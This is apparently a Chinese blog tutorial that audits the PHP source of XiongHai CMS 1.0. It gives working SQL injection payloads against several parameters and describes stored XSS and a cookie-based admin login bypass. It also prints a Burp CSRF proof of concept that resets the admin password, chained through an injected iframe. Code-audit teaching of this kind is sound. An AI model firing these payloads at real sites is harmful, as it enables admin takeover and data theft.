admin

PHP代码审计入门(1)----熊海CMS1.0
PHP代码审计入门(1)----熊海CMS1.00x0 前言为什么选择这个比较垃圾的cms,而且网上很多关于这个c...
扫描右侧二维码阅读全文
14
2018/10

PHP代码审计入门(1)----熊海CMS1.0

PHP代码审计入门(1)----熊海CMS1.0

0x0 前言

为什么选择这个比较垃圾的cms,而且网上很多关于这个cms的漏洞
因为此cms没有采用MVC,适合审计入门,再熟悉了审计流程可以更好对复杂的cms审计

笔者也是刚学代码审计的菜鸡,文章只是笔记分享,求各位审计大佬带

0x1 CMS结构

iseaCMS_1.0
├── admin        后台管理
├── css            css样式
├── files        功能函数文件
├── images        图片
├── inc            配置文件
├── index.php
├── install     安装文件
├── seacmseditor 第三方的编辑器
├── template    模板文件
├── upload        上传文件目录
└── 使用说明.txt

0x2 首页文件层层跟进

index.php

在访问index.php时如果没有指定GET中r的变量值则会包含files/index.php文件

30~34行

$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC  LIMIT 1";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$toutiaoimg = mysql_fetch_array($resul);
?>
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>
</div>

这里可以通过a标签进行了跳转r=content&cid=有入口文件$GET_['r']跟进到files/content.php

//content.php
<?php 
require 'inc/conn.php'; 
require 'inc/time.class.php'; //引入了一些配置文件
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);

$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);

//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
   

在第8行获得了$_GET['cid']进行了addslashes函数的过滤

在这里了解下addslashes函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠()
  • NULL
$query = "SELECT * FROM content WHERE id='$id'";

在这里如果注入的话需要闭合'绕过addslashes的转义需要部分条件如GBK数据库连接方式等所以这里无法进行注入接着往下看在19行发现

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

这里的$id并没有'那就很容易的进行SQL注入了

Payload:

?r=content&cid=1 or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))

找到上述一处SQL注入后继续向下跟进,在154~171行有评论功能

<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div>
<form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
<input name="save" type="submit"  value="提交" id="input2"/>
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span>
</div>
<div id="xx">
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
</div>

​```html
<form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">

此处提交表单进入到submit.php

首先开启了session,对传入的type进行了addslashes转义。从5~13行接受的参数没有任何过滤,这时猜测下,如果没有进行二次过滤那么是否会存在储存型XSS呢?

在35行出使用了正则对输入的评论内容进行匹配([\x81-\xfe][\x40-\xfe])是对GBK中文编码的匹配,如果评论中不包含中文字符则提示“亲,再说点别的了吧?“接着向下看在43~45行出对url进行了过滤,首先判断url是否为空,不为空则用strstr函数寻找$url中是否存在http://不存在则在$url前添加http://

在48行对输入的内容先去除了所有HTML代码然后进行了addslashes转义,此处防止了XSS代码的输入

但是其他参数并没有进行过滤依旧可以通过其他参数进行XSS攻击

在66行处发现了一处SQL注入:

//查询用户头像数据
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$tx = mysql_fetch_array($result);
if (!mysql_num_rows($result)){  
$touxiang = mt_rand(1,100);
}else{
$touxiang = $tx['touxiang'];
}

$email变量没有任何的过滤,那么注入就容易的很了

Payload:

-- POST
111@qq.com') and updatexml(1,concat(0x7e,(select version()),0x73),1)#

接着向下看在100行处:

这里查询了系统高级设置,此处并没有可以利用的地方但是在下面某处的代码段需要用到,这里先放置下遇到了再进行

121~148行在insert语句中有些变量没有进行过滤,存在SQL注入,同时也有可能存在储存型xss,这就需要我们看在取出评论的地方是否进行了过滤

先看下SQL注入:

Payload:

asdsad' or updatexml(1,concat(0x7e,(version())),0) or'

176行和206均存在SQL注入

在150行处首先判读了$pltz是否等于1,那么这个变量是在哪里的定义的呢?还记得100行处那个查询高级设置的代码块吧:

$query = "SELECT * FROM seniorset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$advanced = mysql_fetch_array($result);
$lysh=$advanced ['lysh'];//留言审核
$plsh=$advanced ['plsh'];//评论审核
$pltz=$advanced ['pltz'];//新留言评论通知

如果我们要实现176行处的SQL注入那么需要如下条件:

  1. 在后台高级设置中启用新留言评论通知

  1. $type=1或者2
if ($type=='comment'){
$fhlink="/?r=content&cid=".$cid;
$fhname="评论";
$type=1;
}
if ($type=='message'){
$fhlink="/?r=contact";
$fhname="留言";
$type=2;
}

if ($type=='download'){
$fhlink="/?r=software&cid=".$cid;
$fhname="软件评论";
$type=3;
}

只要在发送post的请求中改变type的值即可

/?r=submit&type=comment
/?r=submit&type=download

payload:

cid=1) or updatexml(1,concat(0x7e,(select version()),0x73),1) --+

这种类似的SQL注入在很多文件中都存在而且利用方式相同如

  • content.php
  • software.php
  • 后台也有几处存在

接下来我们找下评论和留言的内容会输出在那些模块

一个一个看下

/admin/files/commentlist.php
<?php
require '../inc/checklogin.php';//引入检查登录文件
require '../inc/conn.php'; 
$hdopen='class="open"';
$type=$_GET['type'];   //获得type变量不同的type对象不同的表和sql语句
if ($type=='comment'){
$fhlink="?r=commentlist&type=comment";
$fhname="评论";
$type=1;
$taojian="type=1 AND cid<>0";
$biao="content";
}
if ($type=='message'){
$fhlink="?r=commentlist&type=message";
$fhname="留言";
$type=2;
$taojian="type=2 AND cid=0";
$biao="content";
}
.............

查找下变量的引用看在什么地方查询输出了评论或者留言表的内容

定位到188行

$query1 = "SELECT * FROM $biao WHERE id='$fl_id'";
$resul1 = mysql_query($query1) or die('SQL语句有误:'.mysql_error());
$contentname = mysql_fetch_array($resul1); 
$xs=$list['xs'];
if ($xs==1){
$xs='<span class="label label-success">显示</span>';
    }else{
$xs='<span class="label label-danger">隐藏</span>';        
        }
if ($list['rcontent']<>""){;    
$toutiao=' <span class="label label-info">已回复</span>';
}else{
$toutiao=' ';
}
if ($list['shebei']<>""){;    
$shebei=' <span class="label label-warning">'.$list['shebei'].'</span>';
}else{
$shebei=' ';
}
?>
                        <tr>
                          <td><?php echo $list['id']?></td>
                          <td><?php echo  $list['name']?></td>
                          <?php if ($type<>2){?>
                          <td><?php echo $contentname ['title'];?></td>
                          <?php }?>
                          <td><?php echo $xs .$toutiao.$shebei.$images?></td>
                          <td><?php echo  date('Y-m-d H:i',strtotime($list['date']))?></td>
                          <td>
<a href="?r=reply&type=<?php echo $type?>&id=<?php echo $list['id']?>"><button class="btn btn-xs btn-warning"><i class="icon-pencil"></i> </button></a>
<a href="<?php echo $fhlink?>&delete=<?php echo $list['id']?>" onClick="return confirm('操作警告:\n\n请注意,删除可能会影响整个系统关联项\n\n您确定要删除吗?') "><button class="btn btn-xs btn-danger"><i class="icon-remove"></i> </button></a>
                          
                          </td>
                        </tr>
                        
                        <tr>
                          <td>#</td>
                          <?php if ($type<>2){?>
                          <td colspan="4">
<?php }else{?>
<td colspan="3">
 <?php }?> 
 <?php echo $list['content']?>
                          </td>
                          <td><?php echo $list['ip']?></td>
                        </tr>

<?php }?>
                           

                      </tbody>
                    </table>

                    <div class="widget-foot">
<ul class="pagination pull-left">
<li><a>第 <?php echo $page?> - <?php echo $Totalpage?> 页 共 <?php echo $Total?> 条</a></li>
</ul>

这里从content表中查询出数据后没有经过任何过滤就输出在后台了,那么这里是存在储存型XSS的

/* /admin/files/index.php 559行 */
<?php

$query=mysql_query("select * FROM interaction ORDER BY id DESC  LIMIT 7");

while($interaction = mysql_fetch_array($query)){ 

?>

                      <li>

                        <div class="recent-content">

                          <div class="recent-meta"><?php echo date('Y-m-d',strtotime($interaction['date']))?> by <?php echo $interaction['name']?></div>

                          <div>

                       <?php echo mb_substr($interaction['content'],0,50,'utf8')?>   

                          </div>

                          <div class="btn-group">

                      <a href="?r=reply&type=<?php echo $interaction['type']?>&id=<?php echo $interaction['id']?>"><button class="btn btn-xs btn-default"><i class="icon-pencil"></i> </button></a>

                          </div>

                     <?php if  ($interaction['rcontent']=="") {?>

                          <button class="btn btn-xs btn-danger pull-right">未回复</button>

                           <?php }else{?>

                           <button class="btn btn-xs btn-danger pull-right">已回复</button>

                           

                           <?php }?>

                          <div class="clearfix"></div>

                        </div>

                      </li>

<?php }?>

依旧没有任何过滤

其他几处也未做任何过滤就不在重复讲述了

0x3 后台

admin/index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

和前台首页是一样的逻辑,跟进/files/index.php

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
............

首先引入了/inc/checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;    
}
?>

首先获得保存在Cookie中的user字段,如果此字为空则跳转到登录界面,这种验证方式是极其不严谨的。cookie中的内容我们可以任意修改,那么只要是后台的模块引入了checklogin.php这个验证模块,只要我们修改cookieuser字段的内容不为空,就存在权限绕过漏洞

搜索了一下引入了这个模块的所有文件大概是所有的后台模块都可以绕过(这里没有进行精确验证)

接着向下看到95行引入了'template/top.php'继续跟入:

//53~58行
<?php 
$user=$_COOKIE['user'];
$query = "SELECT * FROM manage WHERE user='$user'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$user = mysql_fetch_array($resul);
?>

首先获取了cookie中的user字段,没有过滤就拼接了SQL语句并执行

Payload:

aaaa'  and updatexml(1,concat(0x7e,(select version()),0x73),1) --+

接着看下login,php:


<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;    
.....

也是一处明显的SQL注入,user没有经过任何过滤就带入了SQL语句中执行

返回index接着向下看105行处引入了template/sidebar.php

可以看到sidebar应该就是后台的菜单栏,有着发布文章、下载,内容管理等功能

那么就从发布文章看起:

逻辑大致是接受文章的标题,内容,作者等参数,然后对图片上传进行处理后,验证内容是否不为空,验证成功则执行sql语句保存到数据库中

//18行
$content=addslashes($_POST['content']); //这里对内容参数进行了addslashes的转义
//如果提交了文章保存即save=1则进入到保存前的内容处理先判断是否有图片传入,有则引入上传文件的模块进行处理
//25行
include '../inc/up.class.php';

up.class.php

上传这里采用了白名单验证,其中有着获取文件属性,检测文件大小,修改文件名等函数,笔者在这看了图片上传后会经过GetFileTypeToString会获得上传文件的最后三位字符最后在经过时间和随机字符串重命名文件,由于是白名单,笔者这里没有绕过,如果有大佬绕过的麻烦告诉下

function GetFileTypeToString()
 {
  if( ! empty( $this -> uploadFile[ 'name' ] ) )
  {
   return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  //获取上传文件名的最后三位字符
  }
 }
}

发布下载模块和发布文章模块类似就不在叙述,下面进入文章列表模块wzlist.php

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$wzlistopen='class="open"';
$pageyema="?r=wzlist&page=";

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit; 
}

在第7行获得get方式提交的delete参数,判断不为空后直接带入数据库查询,所以这里又是一处SQL注入

Payload:

?delete=11' or updatexml(1,concat(0x7e,(version()),0x7e),1)#

下载列表和文章列表相同,由于其中许多模块出现的问题都相同,有重复的则不再赘述

manageinfo.php

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);

$save=$_POST['save'];

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

if ($save==1){
    
    
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
    }
    
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
    }
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
    }

//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
        $tmp = new FileUpload_Single;
        $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
        $tmp -> accessPath =$upload;
        if ( $tmp -> TODO() )
        {
            $filename=$tmp -> newFileName;//生成的文件名
            $filename=$upload.'/'.$filename;
            $imgsms="及图片";
            
        }        
}
}

if ($filename<>""){
$images="img='$filename',";    
}

if ($password<>""){
$password=md5($password);
$password="password='$password',";
}

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>"; 
exit;
}
?>

看后台更改密码不需要旧的密码也没有使用token,再看代码11~17接收参数后,只是判断了用户名和密码不为空且两次密码相同,然后直接插入数据库中

所以这里存在CSRF漏洞再结合之间的XSS可以打出一套组合拳

这里使用burp生成CSRF poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.1.104/admin/?r=manageinfo", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------517975800186804930993817223");
        xhr.withCredentials = true;
        var body = "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"user\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"name\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "123123\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"password2\"\r\n" + 
          "\r\n" + 
          "123123\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"mail\"\r\n" + 
          "\r\n" + 
          "me@isea.so\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"qq\"\r\n" + 
          "\r\n" + 
          "86226999\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"images\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------517975800186804930993817223\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------517975800186804930993817223--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    
  </body>
</html>

接下来我们在前台插入恶意js代码:

<iframe src="http://192.168.1.104/test.html" width=0 height=0>
Last modification:May 19th, 2019 at 11:35 am
If you think my article is useful to you, please feel free to appreciate

One comment

  1. Canadian Pharmacies Shipping to USA

    Appreciate it. A good amount of stuff!

Leave a Comment